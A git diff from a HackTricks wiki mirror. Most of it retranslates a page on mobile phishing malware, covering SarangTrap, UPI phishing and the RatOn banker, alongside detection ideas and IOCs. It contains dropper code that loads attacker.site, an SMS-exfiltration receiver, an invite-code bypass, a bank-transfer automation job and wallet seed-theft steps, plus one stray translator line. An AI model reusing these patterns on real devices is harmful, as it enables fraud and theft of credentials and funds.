mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
83b11ef2a9
commit
29836a0d27
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
|
||||
logger.addHandler(handler2)
|
||||
|
||||
|
||||
def findtitle(search ,obj, key, path=(),):
|
||||
def findtitle(search, obj, key, path=()):
|
||||
# logger.debug(f"Looking for {search} in {path}")
|
||||
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
||||
return obj, path
|
||||
@ -54,26 +54,42 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
|
||||
else:
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
else:
|
||||
raise Exception(f"Chapter not found for path: {href}")
|
||||
except Exception as e:
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
|
||||
else:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.error(f'Error getting chapter title: {rel_path}')
|
||||
|
@ -768,7 +768,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -837,8 +837,9 @@
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
@ -1,67 +1,66 @@
|
||||
# 모바일 피싱 및 악성 앱 배포 (안드로이드 및 iOS)
|
||||
# Mobile Phishing & Malicious App Distribution (Android & iOS)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> 이 페이지는 위협 행위자들이 피싱(SEO, 소셜 엔지니어링, 가짜 스토어, 데이팅 앱 등)을 통해 **악성 안드로이드 APK** 및 **iOS 모바일 구성 프로필**을 배포하는 데 사용하는 기술을 다룹니다.
|
||||
> 이 자료는 Zimperium zLabs(2025)에 의해 폭로된 SarangTrap 캠페인과 기타 공개 연구에서 수정되었습니다.
|
||||
> 이 페이지는 위협 행위자들이 **malicious Android APKs** 및 **iOS mobile-configuration profiles**을(를) SEO, social engineering, fake stores, dating apps 등과 같은 phishing을 통해 배포하는 데 사용하는 기법들을 다룹니다. 자료는 Zimperium zLabs가 공개한 SarangTrap 캠페인 (2025) 및 기타 공개 연구를 바탕으로 합니다.
|
||||
|
||||
## 공격 흐름
|
||||
|
||||
1. **SEO/피싱 인프라**
|
||||
* 유사 도메인 수십 개 등록(데이팅, 클라우드 공유, 차량 서비스 등).
|
||||
– Google에서 순위를 매기기 위해 `<title>` 요소에 현지 언어 키워드와 이모지를 사용합니다.
|
||||
– *안드로이드*(`.apk`) 및 *iOS* 설치 지침을 동일한 랜딩 페이지에 호스팅합니다.
|
||||
1. **SEO/Phishing Infrastructure**
|
||||
* 유사 도메인(데이트 사이트, 클라우드 공유, 차량 서비스 등)을 수십 개 등록.
|
||||
– Google에서 순위를 올리기 위해 `<title>` 요소에 지역 언어 키워드와 이모지 사용.
|
||||
– 동일 랜딩 페이지에 Android (`.apk`) 및 iOS 설치 지침을 모두 호스팅.
|
||||
2. **1단계 다운로드**
|
||||
* 안드로이드: *서명되지 않은* 또는 “제3자 스토어” APK에 대한 직접 링크.
|
||||
* iOS: 악성 **mobileconfig** 프로필에 대한 `itms-services://` 또는 일반 HTTPS 링크(아래 참조).
|
||||
3. **설치 후 소셜 엔지니어링**
|
||||
* 첫 실행 시 앱이 **초대/검증 코드**를 요청합니다(독점 접근 환상).
|
||||
* 코드는 **HTTP로 POST**되어 Command-and-Control (C2)로 전송됩니다.
|
||||
* C2는 `{"success":true}`로 응답 ➜ 악성코드가 계속 실행됩니다.
|
||||
* 유효한 코드를 제출하지 않는 샌드박스/AV 동적 분석은 **악성 행동이 없음**을 확인합니다(회피).
|
||||
4. **런타임 권한 남용** (안드로이드)
|
||||
* 위험한 권한은 **긍정적인 C2 응답 후에만 요청**됩니다:
|
||||
* Android: *unsigned* 또는 “third-party store” APK로 연결되는 직접 링크.
|
||||
* iOS: `itms-services://` 또는 일반 HTTPS 링크로 악성 **mobileconfig** 프로파일로 연결.
|
||||
3. **설치 후 Social Engineering**
|
||||
* 앱을 처음 실행하면 **초대 / 인증 코드**를 요구(독점 접근의 환상).
|
||||
* 코드는 Command-and-Control (C2)로 **HTTP를 통한 POST**로 전송된다.
|
||||
* C2가 `{"success":true}`로 응답 ➜ malware가 계속 작동.
|
||||
* 유효한 코드를 제출하지 않는 Sandbox / AV dynamic analysis는 **no malicious behaviour**를 관찰(회피).
|
||||
4. **런타임 권한 남용 (Android)**
|
||||
* 위험 권한은 긍정적인 C2 응답 후에만 요청된다:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- 이전 빌드는 SMS 권한도 요청했습니다 -->
|
||||
<!-- Older builds also asked for SMS permissions -->
|
||||
```
|
||||
* 최근 변종은 `AndroidManifest.xml`에서 SMS에 대한 `<uses-permission>`을 **제거**하지만, SMS를 리플렉션을 통해 읽는 Java/Kotlin 코드 경로는 남겨둡니다 ⇒ `AppOps` 남용이나 이전 타겟을 통해 권한을 부여받는 장치에서 여전히 기능적입니다.
|
||||
5. **페사드 UI 및 백그라운드 수집**
|
||||
* 앱은 로컬에서 구현된 무해한 뷰(SMS 뷰어, 갤러리 선택기)를 표시합니다.
|
||||
* 동시에 다음을 유출합니다:
|
||||
* 최근 변종은 `AndroidManifest.xml`에서 SMS 관련 `<uses-permission>`를 제거하지만 Java/Kotlin 코드 경로는 reflection을 통해 SMS를 읽는 코드를 남겨둠 ⇒ 정적 평점은 낮아지지만 `AppOps` 오용이나 오래된 타깃에서 권한이 허용된 기기에서는 여전히 동작.
|
||||
5. **겉보기 UI 및 백그라운드 수집**
|
||||
* 앱은 로컬로 구현된 무해한 뷰(SMS viewer, gallery picker)를 표시.
|
||||
* 동시에 다음을 유출/수집:
|
||||
- IMEI / IMSI, 전화번호
|
||||
- 전체 `ContactsContract` 덤프 (JSON 배열)
|
||||
- 크기를 줄이기 위해 [Luban](https://github.com/Curzibn/Luban)으로 압축된 `/sdcard/DCIM`의 JPEG/PNG
|
||||
- `/sdcard/DCIM`의 JPEG/PNG를 [Luban](https://github.com/Curzibn/Luban)으로 압축하여 크기 축소
|
||||
- 선택적 SMS 내용 (`content://sms`)
|
||||
페이로드는 **배치 압축**되어 `HTTP POST /upload.php`를 통해 전송됩니다.
|
||||
6. **iOS 배포 기술**
|
||||
* 단일 **모바일 구성 프로필**이 `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` 등을 요청하여 장치를 “MDM”-유사 감독에 등록할 수 있습니다.
|
||||
* 소셜 엔지니어링 지침:
|
||||
1. 설정 열기 ➜ *프로필 다운로드됨*.
|
||||
2. *설치*를 세 번 탭합니다(피싱 페이지의 스크린샷).
|
||||
3. 서명되지 않은 프로필을 신뢰합니다 ➜ 공격자가 *연락처* 및 *사진* 권한을 App Store 검토 없이 획득합니다.
|
||||
7. **네트워크 레이어**
|
||||
* 일반 HTTP, 종종 포트 80에서 `api.<phishingdomain>.com`과 같은 HOST 헤더로.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (TLS 없음 → 쉽게 탐지 가능).
|
||||
페이로드는 **batch-zipped**되어 `HTTP POST /upload.php`로 전송.
|
||||
6. **iOS 전달 기법**
|
||||
* 단일 **mobile-configuration profile**이 `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` 등으로 기기를 “MDM”-유사 감독에 등록할 수 있음.
|
||||
* Social-engineering 지침:
|
||||
1. Open Settings ➜ *Profile downloaded*.
|
||||
2. Tap *Install* three times (스크린샷은 피싱 페이지 참조).
|
||||
3. Trust the unsigned profile ➜ 공격자가 App Store 검토 없이 *Contacts* 및 *Photo* 권한 획득.
|
||||
7. **네트워크 계층**
|
||||
* Plain HTTP, 종종 포트 80에서 HOST 헤더 예: `api.<phishingdomain>.com`.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → 탐지 쉬움).
|
||||
|
||||
## 방어 테스트 / 레드팀 팁
|
||||
## Defensive Testing / Red-Team Tips
|
||||
|
||||
* **동적 분석 우회** – 악성코드 평가 중 Frida/Objection을 사용하여 초대 코드 단계를 자동화하여 악성 분기로 도달합니다.
|
||||
* **매니페스트 vs. 런타임 차이** – `aapt dump permissions`와 런타임 `PackageManager#getRequestedPermissions()`를 비교합니다; 위험한 권한이 누락된 경우 경고 신호입니다.
|
||||
* **네트워크 카나리** – 코드 입력 후 불안정한 POST 폭주를 감지하기 위해 `iptables -p tcp --dport 80 -j NFQUEUE`를 구성합니다.
|
||||
* **mobileconfig 검사** – macOS에서 `security cms -D -i profile.mobileconfig`를 사용하여 `PayloadContent`를 나열하고 과도한 권한을 찾아냅니다.
|
||||
* **Dynamic Analysis Bypass** – malware 평가 중 Frida/Objection으로 초대 코드 단계를 자동화해 악성 분기로 도달.
|
||||
* **Manifest vs. Runtime Diff** – `aapt dump permissions`와 런타임 `PackageManager#getRequestedPermissions()`를 비교; 위험 권한이 누락된 경우 경고 신호.
|
||||
* **Network Canary** – 코드 입력 후 비정상적인 POST 급증을 탐지하기 위해 `iptables -p tcp --dport 80 -j NFQUEUE` 구성.
|
||||
* **mobileconfig Inspection** – macOS에서 `security cms -D -i profile.mobileconfig`를 사용해 `PayloadContent`를 나열하고 과도한 권한 요청을 식별.
|
||||
|
||||
## 블루팀 탐지 아이디어
|
||||
## Blue-Team Detection Ideas
|
||||
|
||||
* **인증서 투명성 / DNS 분석**을 통해 키워드가 풍부한 도메인의 갑작스러운 폭주를 포착합니다.
|
||||
* **User-Agent 및 경로 정규 표현식**: `(?i)POST\s+/(check|upload)\.php`를 Google Play 외부의 Dalvik 클라이언트에서 사용합니다.
|
||||
* **초대 코드 텔레메트리** – APK 설치 직후 6–8자리 숫자 코드의 POST는 스테이징을 나타낼 수 있습니다.
|
||||
* **MobileConfig 서명** – MDM 정책을 통해 서명되지 않은 구성 프로필을 차단합니다.
|
||||
* **Certificate Transparency / DNS Analytics**로 키워드가 풍부한 도메인의 갑작스런 생성 폭증 포착.
|
||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` — Google Play 외부의 Dalvik 클라이언트에서 오는 요청을 감지.
|
||||
* **Invite-code Telemetry** – APK 설치 직후 6–8자리 숫자 코드의 POST는 스테이징 가능성 시사.
|
||||
* **MobileConfig Signing** – MDM 정책을 통해 서명되지 않은 configuration profiles 차단.
|
||||
|
||||
## 유용한 Frida 스니펫: 초대 코드 자동 우회
|
||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||
```python
|
||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||
# Hook HttpURLConnection write to always return success
|
||||
@ -88,30 +87,30 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
---
|
||||
|
||||
## Android WebView 결제 피싱 (UPI) – 드로퍼 + FCM C2 패턴
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 패턴
|
||||
|
||||
이 패턴은 인도 UPI 자격 증명과 OTP를 훔치기 위해 정부 혜택 테마를 악용하는 캠페인에서 관찰되었습니다. 운영자는 배달과 복원력을 위해 신뢰할 수 있는 플랫폼을 연결합니다.
|
||||
이 패턴은 정부 혜택 테마를 악용해 인도 UPI 자격 증명과 OTP를 탈취하는 캠페인에서 관찰되었습니다. 운영자들은 전달성과 복원력을 위해 신뢰할 수 있는 플랫폼들을 연계합니다.
|
||||
|
||||
### 신뢰할 수 있는 플랫폼을 통한 배달 체인
|
||||
- YouTube 비디오 유인 → 설명에 짧은 링크 포함
|
||||
- 짧은 링크 → 합법적인 포털을 모방한 GitHub Pages 피싱 사이트
|
||||
- 동일한 GitHub 리포지토리는 파일에 직접 연결된 가짜 “Google Play” 배지를 가진 APK를 호스팅
|
||||
- 동적 피싱 페이지는 Replit에서 운영; 원격 명령 채널은 Firebase Cloud Messaging (FCM)을 사용
|
||||
### Delivery chain across trusted platforms
|
||||
- YouTube video lure → description contains a short link
|
||||
- Shortlink → GitHub Pages phishing site imitating the legit portal
|
||||
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
|
||||
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
|
||||
|
||||
### 임베디드 페이로드와 오프라인 설치가 포함된 드로퍼
|
||||
- 첫 번째 APK는 실제 악성코드를 `assets/app.apk`에 배송하고 사용자가 클라우드 탐지를 무력화하기 위해 Wi‑Fi/모바일 데이터를 비활성화하도록 유도하는 설치 프로그램(드로퍼)입니다.
|
||||
- 임베디드 페이로드는 무해한 레이블(예: “보안 업데이트”) 아래에 설치됩니다. 설치 후, 설치 프로그램과 페이로드는 별도의 앱으로 존재합니다.
|
||||
### Dropper with embedded payload and offline install
|
||||
- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
|
||||
- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
|
||||
|
||||
정적 분류 팁 (임베디드 페이로드 검색):
|
||||
정적 분석 팁 (grep for embedded payloads):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### 단기 링크를 통한 동적 엔드포인트 발견
|
||||
- 악성 소프트웨어는 단기 링크에서 실시간 엔드포인트의 일반 텍스트, 쉼표로 구분된 목록을 가져옵니다; 간단한 문자열 변환으로 최종 피싱 페이지 경로를 생성합니다.
|
||||
### 단축 링크를 통한 동적 엔드포인트 발견
|
||||
- Malware는 단축 링크에서 일반 텍스트(쉼표로 구분된) 활성 엔드포인트 목록을 가져오며; 간단한 문자열 변환으로 최종 phishing 페이지 경로를 생성한다.
|
||||
|
||||
예시 (정리됨):
|
||||
예시(익명 처리됨):
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
@ -127,27 +126,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### WebView 기반 UPI 자격 증명 수집
|
||||
- “₹1 / UPI‑Lite 결제하기” 단계는 WebView 내의 동적 엔드포인트에서 공격자의 HTML 양식을 로드하고 민감한 필드(전화, 은행, UPI PIN)를 캡처하여 `addup.php`로 `POST`합니다.
|
||||
### WebView-based UPI credential harvesting
|
||||
- “Make payment of ₹1 / UPI‑Lite” 단계는 WebView 내부에서 동적 엔드포인트로부터 공격자 HTML 폼을 로드하고 민감한 필드(전화번호, 은행, UPI PIN)를 캡처한 뒤 이를 `POST`로 `addup.php`에 전송합니다.
|
||||
|
||||
최소 로더:
|
||||
간단한 로더:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### 자기 전파 및 SMS/OTP 가로채기
|
||||
- 첫 실행 시 공격적인 권한 요청:
|
||||
### Self-propagation and SMS/OTP interception
|
||||
- 최초 실행 시 과도한 권한을 요청합니다:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- 연락처는 피해자의 장치에서 스미싱 SMS를 대량 전송하기 위해 루프됩니다.
|
||||
- 수신된 SMS는 브로드캐스트 리시버에 의해 가로채어지고 메타데이터(발신자, 본문, SIM 슬롯, 장치별 랜덤 ID)와 함께 `/addsm.php`에 업로드됩니다.
|
||||
- 연락처를 반복 처리하여 피해자 기기에서 smishing SMS를 대량 발송합니다.
|
||||
- 수신 SMS는 broadcast receiver에 의해 가로채져 메타데이터(발신자, 본문, SIM 슬롯, 기기별 랜덤 ID)와 함께 `/addsm.php`로 업로드됩니다.
|
||||
|
||||
Receiver sketch:
|
||||
리시버 스케치:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
@ -161,10 +160,10 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) as resilient C2
|
||||
- 페이로드는 FCM에 등록됩니다; 푸시 메시지는 동작을 트리거하는 데 사용되는 `_type` 필드를 포함합니다 (예: 피싱 텍스트 템플릿 업데이트, 행동 전환).
|
||||
### Firebase Cloud Messaging (FCM)를 복원력 있는 C2로 사용
|
||||
- Payload는 FCM에 등록되며; 푸시 메시지는 액션을 트리거하기 위해 스위치로 사용되는 `_type` 필드를 포함합니다 (예: phishing 텍스트 템플릿 업데이트, 동작 토글).
|
||||
|
||||
Example FCM payload:
|
||||
예시 FCM payload:
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
@ -186,27 +185,177 @@ case "smish": sendSmishToContacts(); break;
|
||||
}
|
||||
}
|
||||
```
|
||||
### 사냥 패턴 및 IOC
|
||||
- APK는 `assets/app.apk`에 보조 페이로드를 포함합니다.
|
||||
- WebView는 `gate.htm`에서 결제를 로드하고 `/addup.php`로 유출합니다.
|
||||
- SMS 유출은 `/addsm.php`로 진행됩니다.
|
||||
- 단축 링크 기반 구성 가져오기 (예: `rebrand.ly/*`)가 CSV 엔드포인트를 반환합니다.
|
||||
- 일반 “업데이트/보안 업데이트”로 라벨이 붙은 앱들.
|
||||
- 신뢰할 수 없는 앱에서 `_type` 구분자가 있는 FCM `data` 메시지.
|
||||
### Hunting patterns and IOCs
|
||||
- APK contains secondary payload at `assets/app.apk`
|
||||
- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
|
||||
- SMS exfiltration to `/addsm.php`
|
||||
- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
|
||||
- Apps labelled as generic “Update/Secure Update”
|
||||
- FCM `data` messages with a `_type` discriminator in untrusted apps
|
||||
|
||||
### 탐지 및 방어 아이디어
|
||||
- 설치 중 사용자에게 네트워크 비활성화를 지시하고 `assets/`에서 두 번째 APK를 사이드 로드하도록 하는 앱에 플래그를 지정합니다.
|
||||
- 권한 튜플: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView 기반 결제 흐름에 대한 경고.
|
||||
- 비기업 호스트에서 `POST /addup.php|/addsm.php`에 대한 이그레스 모니터링; 알려진 인프라 차단.
|
||||
- 모바일 EDR 규칙: FCM에 등록하고 `_type` 필드에 따라 분기하는 신뢰할 수 없는 앱.
|
||||
### Detection & defence ideas
|
||||
- 설치 중 네트워크 비활성화를 지시한 뒤 `assets/`에서 두 번째 APK를 사이드로드하는 앱 표시
|
||||
- 다음 권한 튜플에 대해 경고: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView 기반 결제 흐름
|
||||
- 비기업 호스트에서 `POST /addup.php|/addsm.php`에 대한 egress 모니터링; 알려진 인프라 차단
|
||||
- Mobile EDR 규칙: 신뢰되지 않은 앱이 FCM에 등록하고 `_type` 필드로 분기하는 경우
|
||||
|
||||
---
|
||||
|
||||
## 참조
|
||||
## Android Accessibility/Overlay & Device Admin 악용, ATS 자동화 및 NFC 중계 오케스트레이션 – RatOn 사례 연구
|
||||
|
||||
The RatOn banker/RAT campaign (ThreatFabric)은 현대 모바일 피싱 작전이 WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, 심지어 NFC-relay orchestration을 결합하는 구체적 예시다. 이 섹션은 재사용 가능한 기술을 추상화한다.
|
||||
|
||||
### Stage-1: WebView → 네이티브 설치 브리지 (dropper)
|
||||
공격자는 공격자 페이지를 가리키는 WebView를 표시하고 native installer를 노출하는 JavaScript interface를 주입한다. HTML 버튼을 탭하면 네이티브 코드가 호출되어 dropper의 assets에 번들된 2단계 APK를 설치하고 즉시 실행한다.
|
||||
|
||||
Minimal pattern:
|
||||
```java
|
||||
public class DropperActivity extends Activity {
|
||||
@Override protected void onCreate(Bundle b){
|
||||
super.onCreate(b);
|
||||
WebView wv = new WebView(this);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.addJavascriptInterface(new Object(){
|
||||
@android.webkit.JavascriptInterface
|
||||
public void installApk(){
|
||||
try {
|
||||
PackageInstaller pi = getPackageManager().getPackageInstaller();
|
||||
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
|
||||
int id = pi.createSession(p);
|
||||
try (PackageInstaller.Session s = pi.openSession(id);
|
||||
InputStream in = getAssets().open("payload.apk");
|
||||
OutputStream out = s.openWrite("base.apk", 0, -1)){
|
||||
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
|
||||
}
|
||||
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
|
||||
pi.commit(id, status.getIntentSender());
|
||||
} catch (Exception e) { /* log */ }
|
||||
}
|
||||
}, "bridge");
|
||||
setContentView(wv);
|
||||
wv.loadUrl("https://attacker.site/install.html");
|
||||
}
|
||||
}
|
||||
```
|
||||
HTML 또는 마크다운 내용을 붙여 넣어 주세요. 그러면 해당 내용을 규칙에 맞춰 한국어로 번역해 드리겠습니다.
|
||||
```html
|
||||
<button onclick="bridge.installApk()">Install</button>
|
||||
```
|
||||
설치 후 dropper는 explicit package/activity를 통해 payload를 시작합니다:
|
||||
```java
|
||||
Intent i = new Intent();
|
||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||
startActivity(i);
|
||||
```
|
||||
헌팅 아이디어: 신뢰할 수 없는 앱이 `addJavascriptInterface()`를 호출하고 WebView에 인스톨러와 유사한 메서드를 노출하는 경우; APK가 `assets/` 아래에 포함된 2차 페이로드를 포함해 배포하고 Package Installer Session API를 호출하는 경우.
|
||||
|
||||
### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
|
||||
Stage-2에서는 “Access” 페이지를 호스팅하는 WebView를 연다. 그 버튼은 피해자를 Accessibility 설정으로 이동시키고 악성 서비스를 활성화하도록 요청하는 exported 메서드를 호출한다. 일단 허용되면, 악성코드는 Accessibility를 사용해 이후 런타임 권한 대화상자(contacts, overlay, manage system settings 등)를 자동으로 클릭하고 Device Admin을 요청한다.
|
||||
|
||||
- Accessibility는 노드 트리에서 “Allow”/“OK” 같은 버튼을 찾아 클릭을 디스패치하여 이후 프롬프트를 프로그래밍 방식으로 승인하는 데 도움을 준다.
|
||||
- Overlay permission check/request:
|
||||
```java
|
||||
if (!Settings.canDrawOverlays(ctx)) {
|
||||
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||
Uri.parse("package:" + ctx.getPackageName()));
|
||||
ctx.startActivity(i);
|
||||
}
|
||||
```
|
||||
참고:
|
||||
|
||||
{{#ref}}
|
||||
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### WebView를 이용한 오버레이 피싱/랜섬
|
||||
운영자는 다음과 같은 명령을 보낼 수 있음:
|
||||
- URL에서 전체 화면 오버레이를 렌더링하거나,
|
||||
- WebView 오버레이에 로드되는 인라인 HTML을 전달.
|
||||
|
||||
사용 예: 강요(coercion) (PIN 입력), wallet 열기로 PIN 탈취, 랜섬 메시지 전송. 오버레이 권한이 없으면 권한이 부여되었는지 확인하는 명령을 유지.
|
||||
|
||||
### Remote control model – text pseudo-screen + screen-cast
|
||||
- Low-bandwidth: 주기적으로 Accessibility node tree를 덤프하고, 보이는 텍스트/role/영역(bounds)을 직렬화하여 pseudo-screen으로 C2에 전송 (예: `txt_screen`은 일회성, `screen_live`는 지속).
|
||||
- High-fidelity: MediaProjection을 요청하고 필요 시 screen-casting/recording을 시작 (예: `display` / `record`).
|
||||
|
||||
### ATS playbook (bank app automation)
|
||||
JSON 작업이 주어지면, 은행 앱을 열고 Accessibility를 통해 텍스트 쿼리와 좌표 탭을 혼합해 UI를 조작하며, 입력을 요구하면 피해자의 결제 PIN을 입력.
|
||||
|
||||
예시 작업:
|
||||
```json
|
||||
{
|
||||
"cmd": "transfer",
|
||||
"receiver_address": "ACME s.r.o.",
|
||||
"account": "123456789/0100",
|
||||
"amount": "24500.00",
|
||||
"name": "ACME"
|
||||
}
|
||||
```
|
||||
한 타깃 플로우에서 확인된 예시 텍스트 (CZ → EN):
|
||||
- "Nová platba" → "새 결제"
|
||||
- "Zadat platbu" → "결제 입력"
|
||||
- "Nový příjemce" → "새 수취인"
|
||||
- "Domácí číslo účtu" → "국내 계좌번호"
|
||||
- "Další" → "다음"
|
||||
- "Odeslat" → "보내기"
|
||||
- "Ano, pokračovat" → "예, 계속"
|
||||
- "Zaplatit" → "결제하기"
|
||||
- "Hotovo" → "완료"
|
||||
|
||||
운영자는 `check_limit` 및 `limit` 같은 명령을 통해 한도 UI를 유사하게 탐색하여 이체 한도를 확인하거나 상향 조정할 수도 있습니다.
|
||||
|
||||
### Crypto wallet seed extraction
|
||||
MetaMask, Trust Wallet, Blockchain.com, Phantom 같은 대상. 흐름: unlock(도난당한 PIN 또는 제공된 비밀번호), Security/Recovery로 이동해 reveal/show seed phrase를 표시하고, keylog/exfiltrate합니다. EN/RU/CZ/SK 언어에 맞춘 locale-aware selectors를 구현하여 다국어에서의 탐색을 안정화하세요.
|
||||
|
||||
### Device Admin coercion
|
||||
Device Admin APIs는 PIN-capture 기회를 늘리고 피해자를 방해하기 위해 사용됩니다:
|
||||
